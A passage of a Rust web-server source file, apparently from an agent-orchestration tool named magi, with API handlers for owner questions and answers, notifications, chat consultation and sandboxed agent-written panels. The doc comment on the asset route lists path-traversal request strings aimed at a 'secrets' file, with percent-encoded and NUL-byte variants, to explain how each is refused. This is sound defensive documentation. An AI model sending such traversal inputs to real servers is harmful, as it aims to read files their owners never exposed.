8132            delivery_error: inquiry.delivery_error,
8133            decision: inquiry.decision?,
8134        })
8135    }
8136}
8137
8138#[derive(serde::Serialize)]
8139struct DecisionsView {
8140    items: Vec<DecisionView>,
8141    unreadable: usize,
8142    migration_errors: Vec<crate::task_chat::MigrationIssue>,
8143}
8144
8145// Read-only: list visits and inquiry links never create owner decisions,
8146// delivery receipts or effect acknowledgements.
8147async fn decisions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<DecisionsView>> {
8148    blocking(move || {
8149        let (items, unreadable) = crate::task_inquiry::Outbox::at(&ui.home).list_readable()?;
8150        let mut views: Vec<_> = items
8151            .into_iter()
8152            .filter_map(DecisionView::from_inquiry)
8153            .collect();
8154        views.sort_by_key(|view| {
8155            (
8156                view.decision.status == crate::task_decision::Status::Resolved,
8157                view.id.clone(),
8158            )
8159        });
8160        Ok(Json(DecisionsView {
8161            items: views,
8162            unreadable,
8163            migration_errors: crate::task_chat::migration_issues(&ui.home),
8164        }))
8165    })
8166    .await
8167}
8168
8169async fn decision_get(
8170    State(ui): State<Arc<Ui>>,
8171    Path(id): Path<String>,
8172) -> ApiResult<Json<DecisionView>> {
8173    blocking(move || {
8174        let inquiry = crate::task_inquiry::Outbox::at(&ui.home).get(&id)?;
8175        DecisionView::from_inquiry(inquiry)
8176            .map(Json)
8177            .ok_or_else(|| ApiError::not_found("inquiry is informational"))
8178    })
8179    .await
8180}
8181
8182async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8183    blocking(move || {
8184        let questions = ui.questions.list();
8185        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8186        Ok(Json(
8187            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
8188                .into_iter()
8189                .map(|view| view.with_origin(&tasks, &talks, &watches))
8190                .collect(),
8191        ))
8192    })
8193    .await
8194}
8195
8196/// Question content and answer controls never wait for task/chat provenance.
8197async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8198    blocking(move || {
8199        Ok(Json(question_views(
8200            ui.questions.list(),
8201            &ui.questions,
8202            || deputy_config(&ui.repo),
8203        )))
8204    })
8205    .await
8206}
8207
8208fn question_record_revision(question: &Question) -> String {
8209    use std::hash::{Hash as _, Hasher as _};
8210    let mut hash = std::hash::DefaultHasher::new();
8211    serde_json::to_vec(question)
8212        .expect("serializable question")
8213        .hash(&mut hash);
8214    format!("{:016x}", hash.finish())
8215}
8216
8217#[derive(Serialize)]
8218struct QuestionOriginView {
8219    id: String,
8220    record_revision: String,
8221    origin_chat: Option<String>,
8222    origin_chat_closed: bool,
8223    can_consult_chat: bool,
8224}
8225
8226async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
8227    blocking(move || {
8228        let questions = ui.questions.list();
8229        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8230        Ok(Json(
8231            questions
8232                .into_iter()
8233                .map(|question| {
8234                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
8235                    let can_consult_chat = consult.is_some();
8236                    let talk = crate::consult::associated_talk_with_watches(
8237                        &tasks, &talks, &question, &watches,
8238                    );
8239                    QuestionOriginView {
8240                        record_revision: question_record_revision(&question),
8241                        id: question.id,
8242                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
8243                        origin_chat: talk.map(|talk| talk.id),
8244                        can_consult_chat,
8245                    }
8246                })
8247                .collect(),
8248        ))
8249    })
8250    .await
8251}
8252
8253type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
8254
8255/// Only the task ancestry and chats these questions actually reference. Run
8256/// mappings share the reconciled queue index; exact task references bypass it.
8257/// No question means no task/chat I/O, including no index reconciliation.
8258fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
8259    fn task_for_run(
8260        ui: &Ui,
8261        index: &mut Option<Vec<Arc<TaskRelation>>>,
8262        run: &str,
8263        loaded: &HashMap<String, Task>,
8264    ) -> ApiResult<Option<Task>> {
8265        if !plain_record_id(run) {
8266            return Ok(None);
8267        }
8268        if index.is_none() {
8269            *index = Some(ui.indexed_tasks()?);
8270        }
8271        Ok(index
8272            .as_ref()
8273            .expect("loaded index")
8274            .iter()
8275            .find(|task| task.runs.iter().any(|id| id == run))
8276            .and_then(|task| {
8277                loaded
8278                    .get(&task.id)
8279                    .cloned()
8280                    .or_else(|| ui.queue.get(&task.id).ok())
8281            })
8282            .filter(|task| task.runs.iter().any(|id| id == run)))
8283    }
8284    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
8285        plain_record_id(id)
8286            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
8287            .flatten()
8288            .filter(|task| task.id == id)
8289    };
8290    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
8291    let mut index = None;
8292    let mut tasks = HashMap::new();
8293    let mut talks = HashMap::new();
8294    for question in questions {
8295        for reference in crate::consult::question_task_refs(question, &watches) {
8296            let mut current = match reference {
8297                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
8298                crate::consult::QuestionTaskRef::Run(id) => {
8299                    task_for_run(ui, &mut index, id, &tasks)?
8300                }
8301            };
8302            let mut seen = HashSet::new();
8303            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
8304                let Some(task) = current.take() else {
8305                    break;
8306                };
8307                if !seen.insert(task.id.clone()) {
8308                    break;
8309                }
8310                let chat = task.chat_talk().map(str::to_owned);
8311                let followup = task.followup.clone();
8312                tasks.insert(task.id.clone(), task);
8313                if let Some(chat) = chat {
8314                    if plain_record_id(&chat)
8315                        && !talks.contains_key(&chat)
8316                        && let Ok(talk) = ui.talks.get(&chat)
8317                    {
8318                        talks.insert(chat, talk);
8319                    }
8320                    break;
8321                }
8322                let Some(followup) = followup else {
8323                    break;
8324                };
8325                current = match followup.origin_task {
8326                    Some(id) => direct_task(&id, &tasks),
8327                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
8328                };
8329            }
8330        }
8331    }
8332    let mut tasks: Vec<Task> = tasks.into_values().collect();
8333    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
8334    Ok((tasks, talks.into_values().collect(), watches))
8335}
8336
8337/// `GET /api/notifications`: not dismissed, newest first, with the unread
8338/// count so the badge and the list cannot disagree.
8339async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8340    blocking(move || {
8341        let items = ui.notices.list();
8342        let unread = items.iter().filter(|n| n.unread()).count();
8343        let items: Vec<_> = items
8344            .into_iter()
8345            .map(|n| {
8346                let question = crate::notices::answerable_question(&n, &ui.questions);
8347                let mut item = serde_json::to_value(n)?;
8348                item["answerable_question"] = serde_json::json!(question);
8349                Ok(item)
8350            })
8351            .collect::<anyhow::Result<_>>()?;
8352        Ok(Json(
8353            serde_json::json!({ "unread": unread, "items": items }),
8354        ))
8355    })
8356    .await
8357}
8358
8359fn notice_error(e: anyhow::Error) -> ApiError {
8360    // An unknown or malformed id and a vanished file are the same answer to
8361    // the phone: that notification is gone.
8362    ApiError::not_found(format!("{e:#}"))
8363}
8364
8365/// `POST /api/notifications/{id}/read`.
8366async fn notification_read(
8367    State(ui): State<Arc<Ui>>,
8368    Path(id): Path<String>,
8369) -> ApiResult<Json<Notice>> {
8370    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
8371}
8372
8373/// `POST /api/notifications/{id}/dismiss`.
8374async fn notification_dismiss(
8375    State(ui): State<Arc<Ui>>,
8376    Path(id): Path<String>,
8377) -> ApiResult<Json<Notice>> {
8378    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
8379}
8380
8381/// `POST /api/notifications/read-all`.
8382async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8383    blocking(move || {
8384        let changed = ui.notices.mark_all_read()?;
8385        Ok(Json(serde_json::json!({ "marked": changed })))
8386    })
8387    .await
8388}
8389
8390/// The body of `POST /api/questions/{id}/answer`.
8391///
8392/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
8393/// a bad request rather than a guess: an answer magi invented is worse than a
8394/// question left open.
8395#[derive(Debug, Default, Deserialize)]
8396#[serde(default, deny_unknown_fields)]
8397struct NewAnswer {
8398    choice: Option<String>,
8399    text: Option<String>,
8400    talk: Option<String>,
8401    head: Option<String>,
8402}
8403
8404async fn question_answer(
8405    State(ui): State<Arc<Ui>>,
8406    Path(id): Path<String>,
8407    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
8408) -> ApiResult<Json<QuestionView>> {
8409    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8410    let answer = match (body.choice, body.text) {
8411        (Some(c), None) => Answer::Choice(c),
8412        (None, Some(t)) => Answer::Text(t),
8413        (Some(_), Some(_)) => {
8414            return Err(ApiError::bad_request(
8415                "send either `choice` or `text`, not both",
8416            ));
8417        }
8418        (None, None) => {
8419            return Err(ApiError::bad_request("send a `choice` or a `text`"));
8420        }
8421    };
8422
8423    blocking(move || {
8424        let id = resolve_question(&ui.questions, &id)?;
8425        let q = ui
8426            .questions
8427            .get(&id)
8428            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8429        if !q.can_answer() {
8430            // Answered from the terminal, or by another phone, in between the
8431            // list and the tap. The UI shows the recorded answer rather than an
8432            // error, so it needs the record, not just the status.
8433            return Err(ApiError::conflict(format!(
8434                "question {} is already {}",
8435                q.short(),
8436                q.status.as_str()
8437            )));
8438        }
8439        // `Question::answer` owns the rules - an unoffered choice, free text on
8440        // a multiple-choice question, an empty reply - so the route does not
8441        // restate them and cannot drift from the CLI's behaviour.
8442        let cfg = deputy_config(&ui.repo);
8443        let (q, ()) = ui
8444            .questions
8445            .update(&q.id, |r| {
8446                let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
8447                // Buttons retain their displayed chat/head binding. A direct
8448                // decision does not require a button or a prior persona offer.
8449                if r.routed_task.is_some()
8450                    && r.merge_target.is_some()
8451                    && merge
8452                    && (body.talk.is_some() || body.head.is_some())
8453                {
8454                    let talk_id = body
8455                        .talk
8456                        .as_deref()
8457                        .context("approval button requires its chat")?;
8458                    let head = body
8459                        .head
8460                        .as_deref()
8461                        .context("approval button requires the displayed head")?;
8462                    let talk = ui.talks.get(talk_id)?;
8463                    anyhow::ensure!(talk.status.open(), "approval chat is closed");
8464                    r.answer_chat_button(answer, talk_id, head)
8465                } else {
8466                    r.answer(answer)
8467                }
8468            })
8469            .map_err(ApiError::bad_request_from)?;
8470        let (tasks, talks, watches) =
8471            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8472        Ok(Json(
8473            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8474        ))
8475    })
8476    .await
8477}
8478
8479/// A dedicated status avoids the client's settled-question 409 handling.
8480fn question_text_error(e: anyhow::Error) -> ApiError {
8481    let reason = e
8482        .downcast_ref::<crate::question_delivery::TextUnavailable>()
8483        .map(|e| e.reason);
8484    let error = ApiError::bad_request_from(e);
8485    if let Some(reason) = reason {
8486        ApiError {
8487            text_reason: Some(reason),
8488            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8489        }
8490    } else {
8491        error
8492    }
8493}
8494
8495/// The body of `POST /api/questions/{id}/say`.
8496#[derive(Debug, Deserialize)]
8497#[serde(deny_unknown_fields)]
8498struct NewSay {
8499    body: String,
8500}
8501
8502/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
8503///
8504/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
8505/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
8506/// file, so there is no turn to serialize against and no
8507/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
8508/// is a *different* process - the run parked behind `magi ask` - and picks
8509/// the reply up on its own poll of the very same file, same as an answer
8510/// does.
8511async fn question_say(
8512    State(ui): State<Arc<Ui>>,
8513    Path(id): Path<String>,
8514    body: std::result::Result<Json<NewSay>, JsonRejection>,
8515) -> ApiResult<Json<QuestionView>> {
8516    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8517    blocking(move || {
8518        let id = resolve_question(&ui.questions, &id)?;
8519        let q = ui
8520            .questions
8521            .get(&id)
8522            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8523        if !q.status.open() {
8524            // Same granularity as `question_answer`: answered or abandoned in
8525            // between the list and the tap is not this route's error to
8526            // explain any differently.
8527            return Err(ApiError::conflict(format!(
8528                "question {} is already {}",
8529                q.short(),
8530                q.status.as_str()
8531            )));
8532        }
8533        // `Question::say` owns the one rule that matters here - an empty
8534        // message tells the agent nothing - so the route does not restate it.
8535        let cfg = deputy_config(&ui.repo);
8536        let (q, ()) = ui
8537            .questions
8538            .update(&q.id, |r| {
8539                if body.body.trim().is_empty() {
8540                    return r.say(body.body);
8541                }
8542                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8543                r.say(body.body)
8544            })
8545            .map_err(question_text_error)?;
8546        let (tasks, talks, watches) =
8547            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8548        Ok(Json(
8549            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8550        ))
8551    })
8552    .await
8553}
8554
8555/// A disconnected request or a replacing listener cannot interrupt the short
8556/// transaction between persistence and detached worker publication.
8557async fn admitted<T: Send + 'static>(
8558    admission: AdmissionGuard,
8559    work: impl Future<Output = ApiResult<T>> + Send + 'static,
8560) -> ApiResult<T> {
8561    tokio::spawn(async move {
8562        let result = work.await;
8563        drop(admission);
8564        result
8565    })
8566    .await
8567    .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8568}
8569
8570/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
8571/// came from. The question stays open: the chat agent answers it with `magi
8572/// answer`, or puts the decision to the owner in the conversation.
8573///
8574/// Answers 202 and runs the turn in the background, like every route that
8575/// spends agent calls. The text is queued as a draft of the existing talk, and
8576/// the turn goes through the talk's own gate and session; no seat or waiter is
8577/// started here.
8578async fn question_consult(
8579    State(ui): State<Arc<Ui>>,
8580    Path(id): Path<String>,
8581) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8582    let admission = ui.begin_admission()?;
8583    admitted(admission, async move {
8584        let (q, tasks, talks, watches, talk, cfg) = blocking({
8585            let ui = Arc::clone(&ui);
8586            move || {
8587                let id = resolve_question(&ui.questions, &id)?;
8588                let q = ui.questions.get(&id).map_err(|e| {
8589                    ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8590                })?;
8591                if !q.status.open() {
8592                    return Err(ApiError::conflict(format!(
8593                        "question {} is already {}",
8594                        q.short(),
8595                        q.status.as_str()
8596                    )));
8597                }
8598                let (tasks, talks, watches) =
8599                    question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8600                let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8601                    return Err(ApiError::conflict(format!(
8602                        "question {} has no chat to ask",
8603                        q.short()
8604                    )));
8605                };
8606                // Read the config before `begin` saves anything: a failure here
8607                // must leave no consult record or draft behind, or a retry would
8608                // see `fresh == false` and never start the turn.
8609                let cfg = if q.consult.is_none() {
8610                    Some(Config::discover(&talk.repo, None)?.0)
8611                } else {
8612                    None
8613                };
8614                Ok((q, tasks, talks, watches, talk, cfg))
8615            }
8616        })
8617        .await?;
8618        let _publication = crate::chat_worker::publication_guard(&ui.talks, &talk.id)
8619            .await
8620            .map_err(ApiError::from)?;
8621        let (view, reclaimed, submitted) = blocking({
8622            let ui = Arc::clone(&ui);
8623            move || {
8624                let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
8625                let claim = if fresh {
8626                    match ui.begin_queued_talk_turn(&talk.id)? {
8627                        Some(turn_guard) => {
8628                            let talk = ui.talks.get(&talk.id)?;
8629                            let cfg = match cfg {
8630                                Some(cfg) => cfg,
8631                                None => Config::discover(&talk.repo, None)?.0,
8632                            };
8633                            Some((talk, cfg, turn_guard))
8634                        }
8635                        None => None,
8636                    }
8637                } else {
8638                    None
8639                };
8640                let q = ui.questions.get(&q.id)?;
8641                let cfg = deputy_config(&ui.repo);
8642                let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
8643                    .with_origin(&tasks, &talks, &watches);
8644                Ok((view, claim, fresh.then_some(talk.id)))
8645            }
8646        })
8647        .await?;
8648        #[cfg(not(test))]
8649        {
8650            if let Some(id) = submitted {
8651                crate::chat_worker::spawn_turn(&ui.talks, &id)
8652                    .await
8653                    .map_err(ApiError::from)?;
8654            }
8655            drop(reclaimed);
8656        }
8657        #[cfg(test)]
8658        let _ = submitted;
8659        #[cfg(test)]
8660        if let Some((talk, cfg, turn_guard)) = reclaimed {
8661            let talks = ui.talks.clone();
8662            let id = talk.id.clone();
8663            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8664        }
8665        Ok((StatusCode::ACCEPTED, Json(view)))
8666    })
8667    .await
8668}
8669
8670/// Expand an id or short id to exactly one question id.
8671fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
8672    if plain_record_id(id) && store.path_of(id).is_file() {
8673        return Ok(id.to_owned());
8674    }
8675    pick(
8676        store.list().into_iter().map(|q| q.id).collect(),
8677        id,
8678        "question",
8679    )
8680}
8681
8682/// `GET /api/questions/{id}/panel`.
8683///
8684/// The panel an agent wrote for this question, as `text/html` under
8685/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
8686/// A question without one is a 404 rather than an empty page: the client
8687/// preflights this route with `HEAD` and must be able to tell "no panel" from
8688/// "a panel that rendered blank", and a sandboxed frame is opaque to the
8689/// parent document so it cannot tell the difference by looking.
8690///
8691/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
8692/// sanitises or minifies it - a sanitiser is a list of things someone thought
8693/// of, and the sandbox plus the CSP is a list of things that are allowed, which
8694/// is the direction that stays safe when an agent writes markup nobody
8695/// predicted.
8696async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
8697    blocking(move || {
8698        let id = resolve_question(&ui.questions, &id)?;
8699        let Some(html) = ui.questions.panel_html(&id) else {
8700            return Err(ApiError::not_found(format!("question {id} has no panel")));
8701        };
8702        Ok(panel_response(
8703            "text/html; charset=utf-8",
8704            false,
8705            html.into_bytes(),
8706        ))
8707    })
8708    .await
8709}
8710
8711/// `GET /api/questions/{id}/asset/{name}`.
8712///
8713/// One file from the question's own panel directory, so a panel can show a
8714/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
8715/// having to allow anything off this machine.
8716///
8717/// This is the only route in the server where a client names a file, so it is
8718/// the only one with a traversal surface, and the name is checked by
8719/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
8720/// what is worth being explicit about, because the answer is not "all of it in
8721/// one place":
8722///
8723/// * `asset/../../secrets` never reaches this handler at all. axum matches on
8724///   the raw request path and `{name}` spans exactly one segment, so a real
8725///   slash makes the request too long for the route and the router answers 404.
8726/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
8727///   percent-decodes path parameters, so `name` arrives as `../secrets` and
8728///   `..\secrets` respectively, which look like plain filenames to the router.
8729///   The validator refuses them here - both for the literal `..` and because
8730///   `/` and `\` are not in the permitted character set - and answers 400.
8731/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
8732///   the platform's path API is not, and it is refused here for the same
8733///   reason: NUL is not a permitted character.
8734/// * [`Questions::panel_asset`] validates again on read, so the check is not
8735///   load-bearing in only one place. This route's own check exists so the
8736///   failure is a 400 that says which name was wrong, rather than a store error
8737///   the operator has to interpret.
8738async fn question_asset(
8739    State(ui): State<Arc<Ui>>,
8740    Path((id, name)): Path<(String, String)>,
8741) -> ApiResult<Response> {
8742    // Before any filesystem work and before any path is built: a name this
8743    // server will not serve should not become a `PathBuf` at all.
8744    if !crate::ask::valid_asset_name(&name) {
8745        return Err(ApiError::bad_request(format!(
8746            "`{name}` is not a usable asset name"
8747        )));
8748    }
8749    blocking(move || {
8750        let id = resolve_question(&ui.questions, &id)?;
8751        let asset = ui
8752            .questions
8753            .panel_asset(&id, &name)
8754            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
8755        let Some(bytes) = asset else {
8756            return Err(ApiError::not_found(format!(
8757                "question {id} has no asset `{name}`"
8758            )));
8759        };
8760        Ok(panel_response(
8761            asset_content_type(&name),
8762            is_svg(&name),
8763            bytes,
8764        ))
8765    })
8766    .await
8767}
8768
8769/// Content type for a panel asset, from a closed whitelist.
8770///
8771/// A whitelist with an `application/octet-stream` fallback rather than a
8772/// guess, because the one answer that must never come out of here is
8773/// `text/html`. An agent that writes `notes.html` into its panel directory and
8774/// links it would otherwise get its own markup rendered at the top level of the
8775/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
8776/// magi's origin - which is precisely the thing the panel design exists to
8777/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
8778///
8779/// `nosniff` accompanies this on every response, so a browser cannot decide it
8780/// knows better than the type we sent.
8781fn asset_content_type(name: &str) -> &'static str {
8782    match extension(name).as_deref() {
8783        Some("png") => "image/png",
8784        Some("jpg" | "jpeg") => "image/jpeg",
8785        Some("gif") => "image/gif",
8786        Some("webp") => "image/webp",
8787        Some("svg") => "image/svg+xml",
8788        Some("css") => "text/css; charset=utf-8",
8789        Some("txt") => "text/plain; charset=utf-8",
8790        _ => "application/octet-stream",
8791    }
8792}
8793
8794/// Is this an SVG, and therefore a file that must never be opened at the top
8795/// level?
8796fn is_svg(name: &str) -> bool {
8797    extension(name).as_deref() == Some("svg")
8798}
8799
8800/// Lowercased extension, or `None` for a name without one.
8801fn extension(name: &str) -> Option<String> {
8802    name.rsplit_once('.')
8803        .map(|(_, ext)| ext.to_ascii_lowercase())
8804}
8805
8806/// Every panel response, with the four headers that make it safe and, for an
8807/// SVG, a fifth.
8808///
8809/// One function rather than a header list per handler, because a panel route
8810/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
8811/// model gone, silently, on one of two routes. Adding a third panel route later
8812/// means calling this, and there is nowhere else to build a panel response.
8813///
8814/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
8815/// as an `<img src>` inside the panel that script cannot run - but the asset
8816/// URL is also a plain URL an operator can be talked into opening in a tab,
8817/// where it is a document on magi's own origin. `Content-Disposition:
8818/// attachment` makes the browser download it instead of rendering it, which
8819/// closes that door without taking away the ability to draw a diff. Raster
8820/// images have no such execution surface and are left inline, so tapping a
8821/// screenshot still shows it.
8822fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8823    let mut res = (
8824        [
8825            (header::CONTENT_TYPE, content_type),
8826            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8827            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8828            (header::REFERRER_POLICY, "no-referrer"),
8829        ],
8830        body,
8831    )
8832        .into_response();
8833    if download {
8834        res.headers_mut().insert(
8835            header::CONTENT_DISPOSITION,
8836            HeaderValue::from_static("attachment"),
8837        );
8838    }
8839    res
8840}
8841
8842/// A talk as the phone reads it.
8843///
8844/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
8845/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
8846/// parses markdown itself - and the process-local `thinking` hint.
8847#[derive(Debug, Serialize)]
8848struct ChatApproval {
8849    question: String,
8850    target: crate::merge_decision::Target,
8851}
8852
8853#[derive(Debug, Serialize)]
8854struct TalkView {
8855    #[serde(flatten)]
8856    talk: Talk,
8857    turn_bodies_md: Vec<Vec<md::Node>>,
8858    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
8859    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8860    pending_messages_md: Vec<Option<Vec<md::Node>>>,
8861    merge_approvals: Vec<ChatApproval>,
8862    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
8863    /// this server process.
8864    ///
8865    /// This is deliberately not durable: another server process cannot see
8866    /// it, and a restarted server must not claim an old turn is live. It is a
8867    /// progress hint rather than proof a reply landed; the transcript remains
8868    /// the source of truth for that.
8869    thinking: bool,
8870    /// Context-window usage, derived per request - see
8871    /// [`talk::context_usage`]. Carried on every talk response (list, detail
8872    /// and each mutation) so the phone needs no extra call or polling.
8873    context: talk::ContextUsage,
8874    /// `[talk] operator_name`, when configured; the Chat labels the
8875    /// operator's turns with it.
8876    operator_name: Option<String>,
8877    /// The active persona's display name; `None` for the default voice.
8878    persona_name: Option<String>,
8879    /// URL of the avatar for the conversation's persona (the default voice
8880    /// included). Server-built; a configured `icon` never reaches the client.
8881    persona_avatar: String,
8882    /// Operator avatar; display only and independent of repository config.
8883    operator_avatar: String,
8884    magi_avatar: String,
8885}
8886
8887impl TalkView {
8888    /// Reads the talk's repository config itself; a config that cannot be
8889    /// read leaves the window unknown but never fails the conversation.
8890    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8891        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8892        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8893    }
8894
8895    /// As [`Self::new`], with the config already in hand (the list reads one
8896    /// per repository, not one per conversation).
8897    fn with_config(
8898        talk: Talk,
8899        thinking: bool,
8900        cfg: Option<&Config>,
8901        home: &FsPath,
8902        cache: &id_links::IndexCache,
8903    ) -> Self {
8904        let references = cache.for_talk(home, &talk);
8905        Self::with_references(talk, thinking, cfg, home, &references)
8906    }
8907
8908    fn with_references(
8909        mut talk: Talk,
8910        thinking: bool,
8911        cfg: Option<&Config>,
8912        home: &FsPath,
8913        references: &id_links::IdIndex,
8914    ) -> Self {
8915        // This owned value is the display DTO; never write it back to the talk store.
8916        let snapshot = talk.clone();
8917        for (index, turn) in talk.turns.iter_mut().enumerate() {
8918            let original = &snapshot.turns[index];
8919            if turn.messages.is_empty() {
8920                if let Some(display) = talk::notice_display(&snapshot, original, None) {
8921                    turn.messages.push(talk::Message {
8922                        sender: Some(talk::Sender::Magi),
8923                        body: original.body.clone(),
8924                        display: Some(display),
8925                        attachments: original.attachments.clone(),
8926                        reply: None,
8927                    });
8928                }
8929            } else {
8930                for (i, message) in turn.messages.iter_mut().enumerate() {
8931                    message.display =
8932                        talk::notice_display(&snapshot, original, original.messages.get(i));
8933                    if message.display.is_some() {
8934                        message.sender = Some(talk::Sender::Magi);
8935                    }
8936                }
8937            }
8938        }
8939        for message in &mut talk.pending_messages {
8940            if message.display.is_none()
8941                && (message.sender == Some(talk::Sender::Magi)
8942                    || snapshot
8943                        .completion_notices
8944                        .iter()
8945                        .any(|r| r.notice == message.body))
8946            {
8947                message.display = crate::prompt::legacy_notice_display(&message.body);
8948                if message.display.is_some() {
8949                    message.sender = Some(talk::Sender::Magi);
8950                }
8951            }
8952        }
8953        if talk.pending_messages.is_empty()
8954            && snapshot
8955                .completion_notices
8956                .iter()
8957                .any(|r| r.notice == talk.pending)
8958            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8959        {
8960            talk.pending_messages.push(talk::Message {
8961                sender: Some(talk::Sender::Magi),
8962                display: Some(display),
8963                body: talk.pending.clone(),
8964                attachments: talk.pending_attachments.clone(),
8965                reply: None,
8966            });
8967        }
8968        let excerpts: Vec<Vec<Option<String>>> = talk
8969            .turns
8970            .iter()
8971            .map(|turn| {
8972                turn.messages
8973                    .iter()
8974                    .map(|m| {
8975                        m.display
8976                            .as_ref()
8977                            .map(|d| d.facts.chars().take(240).collect())
8978                    })
8979                    .collect()
8980            })
8981            .collect();
8982        for turn in &mut talk.turns {
8983            let provenance = talk::sender(turn, None);
8984            turn.sender = Some(provenance);
8985            for message in &mut turn.messages {
8986                message.sender = Some(message.sender.unwrap_or(provenance));
8987            }
8988        }
8989        // Old reply snapshots have only a role; recover provenance from their target.
8990        let senders: Vec<Vec<talk::Sender>> = talk
8991            .turns
8992            .iter()
8993            .map(|turn| {
8994                if turn.messages.is_empty() {
8995                    vec![talk::sender(turn, None)]
8996                } else {
8997                    turn.messages
8998                        .iter()
8999                        .map(|m| talk::sender(turn, Some(m)))
9000                        .collect()
9001                }
9002            })
9003            .collect();
9004        for reply in talk
9005            .turns
9006            .iter_mut()
9007            .flat_map(|t| t.messages.iter_mut())
9008            .chain(talk.pending_messages.iter_mut())
9009            .filter_map(|m| m.reply.as_mut())
9010        {
9011            if let Some(Some(excerpt)) = excerpts
9012                .get(reply.target.turn)
9013                .and_then(|ms| ms.get(reply.target.message))
9014            {
9015                reply.excerpt = excerpt.clone();
9016                reply.sender = Some(talk::Sender::Magi);
9017            }
9018            if reply.sender.is_none() {
9019                reply.sender = senders
9020                    .get(reply.target.turn)
9021                    .and_then(|messages| messages.get(reply.target.message))
9022                    .copied();
9023            }
9024        }
9025        let context = talk::context_usage(&talk, cfg);
9026        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
9027            .turns
9028            .iter()
9029            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
9030            .collect();
9031        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
9032            .turns
9033            .iter()
9034            .map(|turn| {
9035                if turn.messages.is_empty() {
9036                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
9037                } else {
9038                    turn.messages
9039                        .iter()
